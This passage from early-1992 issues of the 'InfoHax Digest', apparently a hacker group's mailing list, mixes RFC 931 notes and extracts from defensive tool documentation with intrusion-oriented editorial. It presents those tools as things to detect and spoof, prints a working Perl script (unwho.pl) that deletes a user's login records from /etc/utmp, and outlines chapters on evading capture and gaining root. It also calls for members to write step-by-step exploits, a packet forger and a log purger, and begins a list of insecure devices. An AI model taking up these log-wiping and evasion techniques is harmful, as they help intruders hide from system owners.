This will be implemented as a TELNET option.
|
||
FORMAL SYNTAX
|
||
<request> ::= <port-pair> <CR> <LF>
|
||
<port-pair> ::= <integer-number> "," <integer-number>
|
||
<reply> ::= <reply-text> <CR> <LF>
|
||
<reply-text> ::= <error-reply> | <auth-reply>
|
||
<error-reply> ::= <port-pair> ":" ERROR ":" <error-type>
|
||
<auth-reply> ::= <port-pair> ":" USERID ":" <opsys> ":" <user-id>
|
||
<error-type> ::= INVALID-PORT | NO-USER | UNKNOWN-ERROR
|
||
<opsys> ::= TAC | OTHER | MULTICS | UNIX ...etc.
|
||
(See "Assigned Numbers")
|
||
Notes on Syntax:
|
||
1) White space (blanks and tab characters) between tokens is not
|
||
important and may be ignored.
|
||
2) White space, the token separator character (":"), and the port
|
||
pair separator character (",") must be quoted if used within a
|
||
token. The quote character is a back-slash, ASCII 92 (decimal)
|
||
("\"). For example, a quoted colon is "\:". The back-slash must
|
||
also be quoted if its needed to represent itself ("\\").
|
||
Notes on User Identification Format:
|
||
The user identifier returned by the server should be the standard one
|
||
for the system. For example, the standard Multics identifier
|
||
consists of a PERSONID followed by a ".", followed by a PROJECTID,
|
||
followed by a ".", followed by an INSTANCE TAG of one character. An
|
||
instance tag of "a" identifies an interactive user, and instance tag
|
||
of "m" identifies an absentee job (batch job) user, and an instance
|
||
tag of "z" identifies a daemon (background) user.
|
||
Each set of operating system users must come to a consensus as to
|
||
what the OFFICIAL user identification for their systems will be.
|
||
Until they register this information, they must use the "OTHER" tag
|
||
to specify their user identification.
|
||
Notes on User Identification Translation:
|
||
Once you have a user identifier from a remote system, you must then
|
||
have a way of translating it into an identifier that meaningful on
|
||
the local system. The following is a sketchy outline of table driven
|
||
scheme for doing this.
|
||
The table consists of four columns, the first three are used to match
|
||
against, the fourth is the result.
|
||
USERID Opsys Address Result
|
||
MCSJ-MITMUL TAC 26.*.*.* StJohns
|
||
* MULTICS 192.5.42.* =
|
||
* OTHER 10.0.0.42 anonymous
|
||
MSJ ITS 10.3.0.44 StJohns
|
||
The above table is a sample one for a Multics system on MILNET at the
|
||
Pentagon. When an authentication is returned, the particular
|
||
application using the userid simply looks for the first match in the
|
||
table. Notice the second line. It says that any authentication
|
||
coming from a Multics system on Net 192.5.42 is accepted in the same
|
||
format.
|
||
Obviously, various users will have to be registered to use this
|
||
facility, but the registration can be done at the same time the use
|
||
receives his login identity from the system.
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 20:04:46 -0700
|
||
Subject: hacker.trkr.tools
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
hacker.trkr.tools 01.11.0 01/24/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
There are a number of "Hacker Tracker Tools", most have something to
|
||
do with rfc931, which is bad news... fortunatly it's not standard yet,
|
||
but it is becomming so... the documents below came with some of these
|
||
packages, they are worth reading as certain info can be gleaned from
|
||
them, such as where they put logs, and the programs names that run
|
||
these things. From this it should be able to tell if one of these is
|
||
running on a system, and devise ways to spoof them. They also alude to
|
||
security holes, that we can tease out... and offer pointers to other
|
||
programs in the same class... Shortcommings and weaknesses are also
|
||
identified. I havn't collected all of the programs yet, but am doing so.
|
||
these docs are chopped extracts from the program docs that come with
|
||
the programs. They need to be summerised further... (maybe a chart or
|
||
two...)
|
||
Programs of this type that I'm awaire of are:
|
||
AUTHD: 147.28.0.33 /pub/misc/authd301.tar.Z
|
||
KSTUFF: 128.174.5.50 /pub/kstuff-0.18.tar.Z
|
||
RARP: 137.208.3.5 /pub/src/datacom/rarpd.tar.Z
|
||
OFILES: 128.95.136.1 /pub/misc/ofiles.?
|
||
LOG_TCP: 147.28.0.3 /pub/unix/netware/log_tcp.?
|
||
LUMBERJACK:(?) 128.218.1.13 /comp.sources.unix/Volume16/lumberjack
|
||
ACTIV:(?) 128.256.135.4 /mirrors/unix-c/utils/activ.?
|
||
PAUTHD: ftp.lysator.liu.se /pub/daemons/pauthd-1.2.tar.Z
|
||
FTPD: wuarchive.wustl.edu /packages/ftpd.wuarchive.shar
|
||
also see the 'related software' section of tcp_log docs (below) for
|
||
pointers to rshd, rlogind, tftp and authutil.
|
||
If anyone knows of others please mention them.
|
||
---------------
|
||
some news extracts:
|
||
There are many anonymous entrances into most systems. Local modem pools
|
||
are untraceable without a court order. PC's connected to a local Ethernet
|
||
can run their own copy of software and gain access to mutch they shouldn't
|
||
Even on those systems wheree we require authentication, there's often
|
||
nothing I can do after the fact to trace who attacked you. We don't log
|
||
every IP connection made, and on a UNIX system with 30 simultanious users
|
||
often the best I can do is say "it was one of those 30" Indeed on a
|
||
default SunOS system, even if you tell me while you're being attacked,
|
||
'bout all I can do is run NETSTAT and agree with you that someone on the
|
||
local machine is doing it--without OFILES or some other non-standard tool,
|
||
I don't believe there's a way to trace an IP connection back to the process
|
||
that owns it.
|
||
-------------
|
||
[...]it's still a pain in the neck to figure out which USER made a
|
||
connection unless you can run PS and OFILES and so on WHILE the
|
||
connection is in progress. But there are tools like rfc931 which solve
|
||
this.
|
||
[...]it's still a pain in the neck to figgure our which MACHINE generated
|
||
a particular TCP packet, since TCP is insecure, unless you run RARP and
|
||
various other tools--like secure Ethernets, or Kerberos.
|
||
------------------------------------------------------------------------
|
||
TCP-LOG:
|
||
General description:
|
||
--------------------
|
||
With this package you can monitor connections to the SYSTAT, FINGER,
|
||
FTP, TELNET, RLOGIN, RSH and EXEC network services. Connections are
|
||
logged through the syslog(3) facility. A requirement is that daemons
|
||
are started by the inetd program or something similar.
|
||
The programs are tiny front ends that just report the remote host name
|
||
and then invoke the real network daemon. In the most common case, no
|
||
changes should be required to existing software or to configuration
|
||
files. Just move the vendor-provided daemons to another place and
|
||
install the front ends into their original places. Installation details
|
||
are given below.
|
||
Early versions of the programs were tested with Ultrix >= 2.2, with
|
||
SunOS >= 3.4 and ISC 2.2. The first official release has been installed
|
||
on a wide variety of systems (BSD, SYSV, Apollo) without modification.
|
||
The present release should still run on top of most BSD-style TCP/IP
|
||
implementations.
|
||
Optional feature:
|
||
-----------------
|
||
When compiled with -DHOSTS_ACCESS, the front-end programs support a
|
||
simple form of access control that is based on host (or domain) names,
|
||
internet addresses or network numbers, network daemon process names and
|
||
(optionally) netgroups (a NIS, formerly YP, feature). Wild cards are
|
||
supported. If a host requests connection to a network daemon, and if
|
||
the (daemon, host) pair is matched by an entry in the /etc/hosts.allow
|
||
file, access is granted. Otherwise, if the (daemon, host) pair is
|
||
matched by an entry in the /etc/hosts.deny file, access is denied.
|
||
Otherwise, access is granted. More details are provided in the
|
||
hosts_access(5) manual page. This form of access control may be useful
|
||
if it can not be implemented at a more suitable level (such as an
|
||
internet router).
|
||
Major enhancement:
|
||
------------------
|
||
It has been brought to my attention that AUTHENTICATION BASED ON HOST
|
||
ADDRESS TO HOST NAME MAPPING CAN EASILY BE SPOOFED BY PLAYING GAMES
|
||
WITH SOME DOMAIN NAME SERVER. A little research led me to the conclusion
|
||
that many existing RSHD and RLOGIND implementations do not account for
|
||
this potential problem.
|
||
The present versions of the front-end programs provide a way to take
|
||
care of the problem. After mapping a client host address to a host
|
||
name, the front-end programs now verify that the host name maps to the
|
||
same host address. The idea is that it is much easier to compromise
|
||
the address->name map of some random name server than to compromise the
|
||
name->address map that is specific to your domain. If the source is
|
||
compiled with -DPARANOID, the front ends justs drop the connection in
|
||
case of a host name/address mismatch. Otherwise, the front ends just
|
||
ignore the bad host name and use the host address when consulting the
|
||
access control files.
|
||
Minor enhancements:
|
||
-------------------
|
||
The host access control files now support more types of wild cards and
|
||
(optionally) allow the use of netgroup names. Netgroup support is
|
||
usually available on systems with NIS (formerly YP) software.
|
||
Related software:
|
||
-----------------
|
||
Versions of rshd and rlogind, hacked to report the remote user name as
|
||
well, are available for anon ftp (ftp.win.tue.nl:/pub/logdaemon.tar.Z).
|
||
That archive also contains a tftpd source that logs the remote host
|
||
name (nice if you want to know who is interested in your /etc/passwd
|
||
file). All those programs have been tested only with SunOS >= 4.0.
|
||
Another way to manage access to tcp/ip services is illustrated by the
|
||
servers provided with the authutil package (comp.sources.unix volume
|
||
22). This has the advantage that one will get the remote username from
|
||
any host supporting RFC 931 security. By installing the auth package
|
||
(same volume) one supports RFC 931 security too (but YOU WILL HAVE TO
|
||
BELIEVE WHAT THE REMOTE HOST TELLS YOU). Eventually one can start
|
||
cutting off unauthenticated connections. This is obviously a much more
|
||
advanced approach than what my front-end programs provide. The present
|
||
package is more suitable for those who lack the resources to install
|
||
anything that requires more than just renaming a couple of executables.
|
||
Configuration and installation (the easy way):
|
||
----------------------------------------------
|
||
An advanced installation recipe is given lateron. The "easy way" recipe
|
||
requires no changes to existing software or configuration files.
|
||
If you don't run Ultrix, you don't need the miscd front-end program.
|
||
The Ultrix miscd daemon implements among others the SYSTAT service,
|
||
which pipes the output from the WHO command to standard output.
|
||
By default, connections are logged to the same place where the sendmail
|
||
log entries go. If connections should be logged elsewhere, adjust the
|
||
LOG_MAIL macro in the miscd.c and tcpd.c files, and update your syslog
|
||
configuration file (usually, /etc/syslog.conf). Most Ultrix versions
|
||
do not provide this flexibility, though.
|
||
The tcpd program is intended for monitoring connections to the telnet,
|
||
finger, ftp, exec, rsh and rlogin services. Decide which services you
|
||
want to be monitored. Move the vendor-provided daemon programs to the
|
||
location specified by the REAL_DAEMON_DIR macro in the file tcpd.c, and
|
||
copy the tcpd front end to the locations where the vendor-provided
|
||
daemons used to be. That is, one copy of the tcpd front end for each
|
||
service that you want to monitor.
|
||
---------------------------------------------------------------------------
|
||
AUTHD:
|
||
authd - authentication server daemon
|
||
tcpuid, tcpuname - find out which user owns a connection
|
||
authuser - remote authentication library
|
||
authd is an implementation of RFC 931, the Authentication Server under
|
||
BSD. RFC 931 provides the name of the user owning a TCP connection. This
|
||
helps network security: UNLESS TCP ITSELF IS COMPROMISED, it is
|
||
impossible to forge mail or news between computers supporting RFC 931.
|
||
It also BECOMES MUCH EASIER TO TRACE ATTACKERS than in the current,
|
||
largely anonymous, network. authd requires no changes to current code:
|
||
every connect() and accept() is authenticated automatically, with no
|
||
loss of efficiency.
|
||
tcpuid and tcpuname are the same program, but more suitable for local
|
||
use from the command line by a user or system administrator. They show
|
||
which local user created a given TCP connection.
|
||
authuser is a library encapsulating client use of RFC 931. It talks to a
|
||
remote Authentication Server to find out the username on the other side
|
||
of a given connection.
|
||
Only root can install authd. However, most current systems are insecure
|
||
enough that any user can run tcpuid and tcpuname. authuser is meant for
|
||
use by any program.
|
||
[...]
|
||
2. Requirements
|
||
authd requires netstat, and it pokes around in several BSD-specific
|
||
kernel structures. It is not inherently portable code. Nevertheless, it
|
||
has been compiled under Ultrix, SunOS, and Convex UNIX, and it probably
|
||
doesn't take much work to get running under pretty much any BSD system.
|
||
authuser should compile and run without trouble on any BSD system.
|
||
You must be root to install authd. However, authd's sister utilities,
|
||
tcpuid and tcpuname, will probably work anyway if /dev/kmem is readable.
|
||
Any program can use the authuser library.
|
||
3. How to configure authd
|
||
You can change CC or CCOPTS in Makefile if you want. If you want authd
|
||
to record connections through syslog at LOG_DEBUG, define -DUSE_SYSLOG
|
||
in the Makefile.
|
||
5. How to install authd
|
||
If you don't have privileges, skip this part.
|
||
By default, authd, tcpuid, and tcpuname are installed in /etc,
|
||
authuser.o is installed as /usr/lib/libauthuser.a, authuser.h is
|
||
installed in /usr/include, authuser.3 is installed in /usr/man/man3,
|
||
and authd.8, tcpuid.8, and tcpuname.8 are installed in /usr/man/man8.
|
||
The binaries are installed setgid to group kmem. If you want to change
|
||
these defaults, edit INSTALL.
|
||
Then run INSTALL in a root shell; the script will check every action
|
||
with you before doing it.
|
||
To test tcpuname, make sure it is in your path, and run netstatuid. You
|
||
should get a report of all active network connections including
|
||
usernames.
|
||
To test authuser and authd, run ./test. You should get an ``everything
|
||
looks okay'' message.
|
||
6. TODO list
|
||
fast multiple-connection version of tcpuid/tcpuname, like netstatuid?
|
||
should write a few notes on the exact security provided by rfc 931
|
||
authd - Authentication Server daemon authd is a daemon implement-
|
||
ing the RFC 931 Authentication Server protocol. It should be in-
|
||
voked by a network server, such as or for connections to TCP port
|
||
113 (auth). The client host gives two numbers separated by a
|
||
comma. interprets the numbers as TCP port numbers for the local
|
||
and remote sides respectively of a TCP connection between this
|
||
host and the client host. It returns a line of the form local-
|
||
port, remoteport: USERID: UNIX: username where username is the
|
||
name of the user on this side of the specified connection. If
|
||
does not have an authentication entry for that connection, it re-
|
||
turns a line of the form localport, remoteport: ERROR: UNKNOWN-
|
||
ERROR. None. None known. authd version 3.01, February 7, 1991.
|
||
Placed into the public domain by Daniel J. Bernstein. Partially
|
||
inspired by code written by Vic Abell for ofiles. The authenti-
|
||
cation server is more secure than passwords in some ways, but
|
||
less secure than passwords in many ways. (It's certainly better
|
||
than no password at all---e.g., for mail or news.) It is not the
|
||
final solution. For an excellent discussion of security problems
|
||
within the TCP/IP protocol suite, see Steve Bellovin's article
|
||
``Security Problems in the TCP/IP Protocol Suite.'' authtcp(1),
|
||
attachport(1), authuser(3), tcp(4), inetd(8) tcpuid - show the
|
||
user id that created a network connection tcpuid prints the
|
||
numeric user id of the user who created the network connection
|
||
specified by its arguments. Lots, none of which should happen if
|
||
the specified connection is valid. None known. tcpuid version
|
||
3.01, February 7, 1991. Placed into the public domain by Daniel
|
||
J. Bernstein. Partially inspired by code written by Vic Abell
|
||
for ofiles. authd(8), tcpuname(8) tcpuname - show the user name
|
||
that created a network connection tcpuname prints the username of
|
||
nection is valid. None known. tcpuname version 3.01, February
|
||
7, 1991. Placed into the public domain by Daniel J. Bernstein.
|
||
Partially inspired by code written by Vic Abell for ofiles.
|
||
authd(8), tcpuid(8)
|
||
------------------------------------------------------------------------
|
||
OFILES:
|
||
ofiles - show owner of open file or network connection [ ] [ ] [
|
||
] [ ] displays the owner, process identification (PID), type,
|
||
command and the number of the inode associated with an open in-
|
||
stance of a file or a network connection. An open file may be a
|
||
regular file, a file system or a directory; it is specified by
|
||
its path name. When the path name refers to a file system, will
|
||
display the owners of all open instances of files in the system.
|
||
An open network connection is specified by the kernel address of
|
||
its Protocol Control Block (PCB), as displayed by when its option
|
||
is specified. displays information about its usage if no options
|
||
are specified. This option selects verbose, debugging output.
|
||
This option may be used only on DYNIX hosts. It sets optional
|
||
name list and core file paths. is the path to the file from
|
||
which should obtain the addresses of kernel symbols, instead of
|
||
from is the path to the file from which should obtain the value
|
||
of kernel symbols, instead of from This option is useful for de-
|
||
bugging system crash dumps. This option specifies that the argu-
|
||
ments identify network connections by their hexadecimal, Protocol
|
||
Control Block (PCB) addresses. PCB addresses can be obtained via
|
||
the option of This option makes it possible to determine the lo-
|
||
cal processes that are using network connections in the LISTEN
|
||
through ESTABLISHED states. This option specifies that should
|
||
print process identifiers only - e. g., so that the output may be
|
||
piped to These are path names of files, directories and file sys-
|
||
tems; or, if the option has been specified, network connections,
|
||
identified by their hexadecimal Protocol Control Block (PCB) ad-
|
||
dresses. displays for each for file paths, an interpretation of
|
||
the type of name - file, directory or file system; for network
|
||
connections, the kernel address linkages, starting with the file
|
||
structure and proceeding through the socket structure and the In-
|
||
ternet Protocol Control Block (INPCB) structure to the PCB the
|
||
login name of the user of the process that has open the identif-
|
||
ier of the process that has open a file type explanation: if is
|
||
the current working directory of the process if is being used as
|
||
a regular file by the process, optionally followed by: if the
|
||
process has a shared lock on the file if the process has an ex-
|
||
clusive lock on the file if is the root directory of the process
|
||
if is a socket the file descriptor number, local to the process
|
||
the user command that opened the inode number of the file This
|
||
example shows the use of to discover the owner of the open, regu-
|
||
lar file,
|
||
% ofiles /usr/spool/lpd/lock
|
||
/usr/spool/lpd/lock
|
||
USER PID TYPE FD CMD INODE
|
||
root 110 file/x 3 lpd 26683
|
||
This example shows the use of and to identify the local endpoint
|
||
of the ``smtp'' network connection. The first column of output
|
||
from is the PCB address; it is used as the argument to along with
|
||
the option.
|
||
% netstat -aA | grep smtp
|
||
80f6770c tcp 0 0 *.smtp *.* LISTEN
|
||
% ofiles -n 80f6770c
|
||
file 80102b64 of socket 80f6758c of INPCB 80f6780c of PCB 80f6770c
|
||
USER PID TYPE FD CMD
|
||
root 105 sock 5 sendmail
|
||
Errors are identified with messages on the standard error file.
|
||
returns a one (1) if any error was detected, including the
|
||
failure to locate any It returns a zero (0) if no errors were
|
||
detected and if it was able to display owner information about
|
||
all the specified can't identify SunOS 4.0 stream files, so it
|
||
doesn't follow their file structure pointers correctly when read-
|
||
ing their inodes. That results in the display of erroneous inode
|
||
numbers for stream files. The option limits its search to net-
|
||
work connections in the LISTEN through ESTABLISHED states. Since
|
||
reads kernel memory in its search for open files and network con-
|
||
nections, rapid changes in kernel memory may produce unsatisfac-
|
||
tory results. C. Spencer is the original author. Michael Ditto,
|
||
Tom Dunigan, Alexander Dupuy, Gary Nebbett and Richard Tobin con-
|
||
tributed. Michael Spitzer, Ray Moody, and Vik Lall of the Purdue
|
||
University Computing Center converted the program to a variety of
|
||
UNIX environments. Vic Abell of the Purdue University Computing
|
||
Center added the option. inode(5), mount(1), kill(1), tcp(4).
|
||
----------------------------------------------------------------------
|
||
RARPD:
|
||
* Reverse Address Resolution Protocol server
|
||
* Routines that handle network I/O, and process RARP packets.
|
||
/* EtherRead reads the packet and checks to see it's the right opcode, etc. */
|
||
/* Make sure we're looking for the right kind of Ethernet address. */
|
||
* Send a response packet with our addresses in 'source' addresses. rarpPacket
|
||
comes in with the target addresses filled in, as well as the sizes, etc. */
|
||
/* remember sender's hardware address, so the packet can be returned */
|
||
/* fill in reply opcode and source addresses */
|
||
* This programs sends a request packet to the rarp server and waits forever
|
||
* for a reply, then displays the response packet.
|
||
/* An IP prototcol address */
|
||
/* An ethernet addresss for broadcast */
|
||
/*fill in reply opcode and source and target address*/
|
||
/* broadcast a request packet */
|
||
/* prints an array a for n characters (as hexadecimal digits) with dots in
|
||
* between.
|
||
/* prints an array a for n characters (as decimal digits) with dots in
|
||
* between.
|
||
* test program for Reverse Address Resolution Protocol server
|
||
* This programs sends a request packet to the rarp server and waits forever
|
||
* for a reply, then displays the response packet.
|
||
/* An Ethernet hardware address (3Mbps) */
|
||
/* An IP prototcol address */
|
||
/* An ethernet addresss for broadcast */
|
||
/* broadcast a request packet */
|
||
* added support for 3Mbps Ethernets.
|
||
* This server uses files (/etc/rarpdb.*) to create a table of mappings
|
||
* between Ethernet (hardware) addresses and 32-bit IP protocol (logical)
|
||
* addresses.
|
||
* It can be expanded to include other kinds of hardware and protocol
|
||
* addresses, if needed.
|
||
* It provides a service for client machines (usually diskless workstations)
|
||
* to return a logical address when given a hardware address.
|
||
****************************************************************
|
||
* Possible future extensions:
|
||
* 1)Fix Our_Ether_Addr to reflect multiple networks. Right now
|
||
*gethostid is used, which returns the IP address on the first
|
||
*network, not necessarily the 10 Mbit one. (in OpenEthers)
|
||
* 2)Change LookUp to use a faster search than sequential.
|
||
* 3)Support other kinds of 'hardware' or 'protocol' addresses.
|
||
/*interval to wait before checking to see if disk file has been changed*/
|
||
/* Main mostly does debug and error-checking things. It calls OpenEthers
|
||
to establish the networks, and then calls MainLoop to do the serving. *
|
||
/* save ethermask because "select" changes the bits to indicate
|
||
which of the bits that were on in readfds correspond to
|
||
files that have packets waiting on their net */
|
||
/* something to read from this ether */
|
||
OpenEthers()
|
||
/* OpenEthers goes through all nets on this machine and opens a file for
|
||
each Ethernet interface. It builds a pernet table for each file
|
||
opened. It calls BringInTable to build a table of address pairs for each
|
||
net. It sets up a packet filter for each net for RARP packets. */
|
||
/* gethostid really gets the main id and won't work if > 1 net: */
|
||
* Routines for reading and searching the table of
|
||
* (Ethernet address, IP address) pairs.
|
||
/* Parses the input line "line", entering the IP and Ethernet addresses
|
||
* found into "tabent". This routine returns:
|
||
* 1 if the line was successfully parsed,
|
||
* 0 if the line is empty or begins with a comment character (; or #),
|
||
* -1 if a syntax error was found in the line.
|
||
---------------------------------------------------------------------------
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
------------------------------
|
||
|
||
Date: Fri, 24 Jan 92 21:27:27 -0700
|
||
Subject: hideum.pl
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
unwho.pl toolbox.01.0 01/23/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
Here's a little program called "unwho" that deletes all entries for a
|
||
given user from utmp. You could probably mogrify it trans what you want.
|
||
#!/usr/bin/perl
|
||
# This assumes your /etc/utmp file looks like ours
|
||
$unname = shift;
|
||
open(UTMP,'+</etc/utmp');
|
||
@mo = (Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec);
|
||
while (read(UTMP,$utmp,36)) {
|
||
($line,$name,$host,$time) = unpack('A8A8A16l',$utmp);
|
||
if ($name) {
|
||
$host = "($host)" if $host;
|
||
($sec,$min,$hour,$mday,$mon) = localtime($time);
|
||
printf "%-9s%-8s%s %2d %02d:%02d %s\n",
|
||
$name,$line,$mo[$mon],$mday,$hour,$min,$host;
|
||
if ($name eq $unname) {
|
||
seek(UTMP,-36,1);
|
||
print UTMP pack('A8a8A16l', "","","",0);
|
||
seek(UTMP,0,1);
|
||
}
|
||
}
|
||
}
|
||
------------------------------------------------------------------------------
|
||
Comments:
|
||
Q's:
|
||
Biblio:
|
||
CrossRef:
|
||
Code/shRef:
|
||
==============================================================================
|
||
|
||
-------------------------------------
|
||
|
||
To join this group or have your thoughts in the next issue, please
|
||
send electronic mail to Tangent at the following address;
|
||
|
||
infohax
|
||
|
||
The views expressed in InfoHax Digest
|
||
are those of the individual authors only.
|
||
|
||
*********************
|
||
End of InfoHax Digest
|
||
*********************
|
||
|
||
|
||
InfoHax Digest, Number 2
|
||
|
||
Saturday, February 15th 1992
|
||
|
||
Today's Topics:
|
||
|
||
intro.hax2
|
||
hole.list
|
||
rdist.hole
|
||
rfc.authd.draft
|
||
b-wtmp.prog
|
||
son.of.IP
|
||
audit.tools
|
||
utmp_ed.c
|
||
rhosts.hole
|
||
unwho.pl (revision)
|
||
----------------------------------------------------------------------
|
||
|
||
Date: Thu, 13 Feb 92 09:39:40 -0700
|
||
Subject: intro.hax2
|
||
|
||
****************************************************************************
|
||
INFOHAX DIGEST 2
|
||
****************************************************************************
|
||
Well it's taken a while to get this second issue out, people have been a
|
||
little slow to get things submited, and I've been a bit slow to put it out.
|
||
my appoligies to everyone...
|
||
Getting an issue a week out really depends on getting the material, I
|
||
DON'T want to have to endlessly bug everyone about this, it took alot of
|
||
reminders to get this issue together. I used to run a HS underground paper,
|
||
and found that if an issue had come out recently, people were more
|
||
responsive to submitting material on a regular basis. It's all a matter of
|
||
momentum, so lets get this ball rolling!
|
||
Please send stuff in on a regular basis, I don't want to constantly
|
||
remind people, this projects success depends on YOU!
|
||
Perhaps one of the problems is a lack of direction, and people being abit
|
||
overwelmed with all the material. Were going to try something a little
|
||
different this time, actually several things, in addition to what we're
|
||
allready doing. Hopefully the kinks will work themselves out.
|
||
One other note: The existence of this project is best not common knowledge,
|
||
there are too many that would like to stop us. Let them find out about it
|
||
when everyone else does, after the fact.
|
||
First off, lets talk about how the voting went. The current members are:
|
||
0 Knight Lightning 0 Doc Holliday
|
||
0 Taran King X PHz
|
||
0 Tuc X Rosco
|
||
0 Sir Frances Drake 0 Feanor
|
||
X Nikita 0 Amoeba Wonderboy
|
||
X Calculite 0 Entity
|
||
X Tangent 0 Flex
|
||
X Judge Dread X Dark Overlord
|
||
0 Dispater
|
||
You may knowtice '0's and 'X's in front of peoples names, yes we're trying
|
||
peer pressure... an 'X' means that this person has contributed something to
|
||
one of the infohax's so far, a '0' means they have not. Please note that 5
|
||
of these have promiced to contribute something specific in the near future,
|
||
but have been busy - I can understand that... But do yourself a favor, and
|
||
submit SOMETHING!, we all need to pull our weight here...
|
||
Next people who have been voted in but havn't responded.
|
||
Erik Bloodaxe - what's up guy?
|
||
also, Doc Holliday and Rosco, you need to sub to the listserv...
|
||
finally, we have people that need to be voted on:
|
||
Ninja Master (has 3.5, needs 5.5 more votes)
|
||
Blue Adept (has 4, needs 5 more votes)
|
||
Shooting Shark (has 4, needs 5 more votes) - anyone know how to
|
||
contact him?
|
||
----------------------------------------------------------------------------
|
||
TOC/chapter organisation:
|
||
I havn't gotten mutch input here, so if something new comes up, we'll
|
||
just tack it to the end, till the rewrite...
|
||
0) Intro 11) Startup files
|
||
1) How Not to get Caught 12) User Utils
|
||
2) Monitoring (progs/net/accnt) 13) Programming Utils
|
||
3) Theory 14) Crypto
|
||
4) Getting in the Door 15) Devices
|
||
5) Getting Root 16) Passive Snooping
|
||
6) Networks (security/spoof/utils) 17) Patch level and version history
|
||
7) Accnt Security 18) sysadmin perspective (end of seed)
|
||
8) File System Security 19) Biblio
|
||
9) set uid progs 20) toolbox (code/scripts)
|
||
10) setgid progs
|
||
This isn't set in stone yet, but I need to hear from you soon, if
|
||
you don't like this... I suspect chapters 1, 2 and 6 will take the most
|
||
time. It was pointed out by PHz that monitoring programs are important,
|
||
in effect this really is part of chapter 1, but it's a large enough
|
||
subject that it really deserves a chapter of it's own. When we talk about
|
||
things like COPS, we need to know if their being used (what is a waste of
|
||
time - will a setuid script be found and tip our hand?), can we use these
|
||
tools to make our life easier?, what ISN'T being checked for? and things
|
||
like that.
|
||
----------------------------------------------------------------------------
|
||
DISCUSSION/FEEDBACK:
|
||
Results were abit pathetic here... basicly a couple of comments, it's
|
||
a tossup between going chapter by chapter, or jump arround... So we're
|
||
going to do both. The main thrust of the Digests will go chapter by
|
||
chapter, but anyone wanting to work on areas they know, or using other
|
||
chapters as a springboard are welcome to... We are also introducing two
|
||
new methods: 1)Rosco is going to submit a 'not worked out' hole every
|
||
week, this week it's rdist, we need people to expand on what's given, and
|
||
put it into the form of step by step instructions, pref w/ an example
|
||
showing commands given, and result... 2)The hole list: were starting this,
|
||
Dark Overlord contributed a seed, that we need to expand on, these are
|
||
holes that need to be expanded on, and explained. They are tiny bites,
|
||
that could be tackled by anyone with a little time. If you don't know
|
||
how to exploit any of the holes, please go through the other material, and
|
||
add to the hole list. (sort/extract). or pick your brain, and add to it
|
||
that way... the seed paper is another good source for this...
|
||
I'd like EVERYONE to contribute something to the hole list EVERY issue,
|
||
while it would be better to send instructions on how to exploit a hole,
|
||
noting the existence of a hole would be ok...
|
||
----------------------------------------------------------------------------
|
||
about research: we're still looking for a site to run wais/gopher/www on,
|
||
must be internet accessable (or a mail interface would be ok), and have
|
||
'extra' storrage/cpu cycles available... anything out there?
|
||
----------------------------------------------------------------------------
|
||
A final note on the why of it all: (insperation, for those that need it)
|
||
about infohax - infohax is a project born mainly of 3 observations: 1) the
|
||
mentors comment that most new hackers get busted before they have a chance
|
||
to become skilled in the art, 2) personal dissatisfaction about the ammount of
|
||
and quality of information out there on how to get into UNIX systems, and 3)
|
||
this great paper that fell into my hands that said 'consult your local
|
||
security guru' too much... the thought dawn'd on some of us that it would be
|
||
fun to gather some of the best minds in the community together and re-write
|
||
that paper, but taking it further...
|
||
ok, well enough, but what's to be the bennefit from this?
|
||
1) for some, a better reputation.
|
||
2) for all, sharring ideas, learning new tricks, making some new contacts, and
|
||
getting to know others in the community...
|
||
3) for some getting some material to put in their journals.
|
||
4) and I think that this is the most important, helping others become skilled
|
||
in the art so they have a chance to become good. This is important because the
|
||
quality of new hackers seems to be dimminishing, our ranks seem to be thinning,
|
||
and lets face it, there's basic self interest; the more good tallent out there,
|
||
the less chance they'll go after one of us! There is also the philisophic
|
||
concept of payback, all of us were helped by a number of people when we were
|
||
learning, this is a chance to help alot of people in the same way, but while
|
||
keeping them at arms length... (safer...)
|
||
I better shut up before I start quoting Mount Analog...
|
||
-------------------------------------------------------------------------------
|
||
So what's in this issue anyway?:
|
||
Hole list EVERYONE PLEASE WORK ON THIS!
|
||
rdist.hole DITO!, or at least one person... hole of the week....
|
||
wtmp.hacker comments on sysadmin.comments, and a tool someone is
|
||
working on...
|
||
rfc.authd.draft extracts from what's to replace rfc931, and comments on it
|
||
son.of.IP extracts from selected posts
|
||
audit.tool a paper on audit tools, notes on future trends
|
||
utmp_ed.c a editor for utmp in C, for hackers
|
||
rhost.hole a network security hole
|
||
unwho.pl revision of
|
||
-------------------------------------------------------------------------------
|
||
Some submissions are sighned, others not. If you got credit, and didn't
|
||
want it, don't put you sig in the body of the message. If you didn't get
|
||
credit and you wanted it, put you sig/handle/whatever in the body of your
|
||
mail.
|
||
You can send submissions eithor directly to me, or to: infohax@stormking.com
|
||
Lets get this thing rolling, try to submit stuff every week, or at least
|
||
every other...
|
||
Please vote!, and lets see a hole submission from EVERYONE!
|
||
Also badly needed are a packet forger (one was promiced, but never show'd),
|
||
and a ethernet stuffer. A genneral log editor/purger (also promiced, but...)
|
||
is also needed. If we don't find um, we need to start writing um...
|
||
thanks all!,
|
||
tangent
|
||
-------------------------------------------------------------------------------
|
||
------------------------------
|
||
|
||
Date: Thu, 13 Feb 92 09:52:08 -0700
|
||
Subject: hole.list
|
||
|
||
==============================================================================
|
||
Section Name chapter.sec.version 00/00/00
|
||
hole.list.01 hole.list.01 02/13/92
|
||
------------------------------------------------------------------------------
|
||
DATA:
|
||
/dev/fb
|
||
the frame buffer devices on at least suns are world
|
||
readable/writeable, which is at best annoying (when
|
||
someone runs something strange on you) and at worst
|
||
insecure (since someone can take a snapshot of your screen
|
||
via screenload or whatnot)
|
||
/dev/*st*, *mt*, etc (tape devices)
|
||
generally world readable/writeable, bad since others can
|
||
nuke your tapes, read your backups, etc.
|
||
chfn, chsh
|
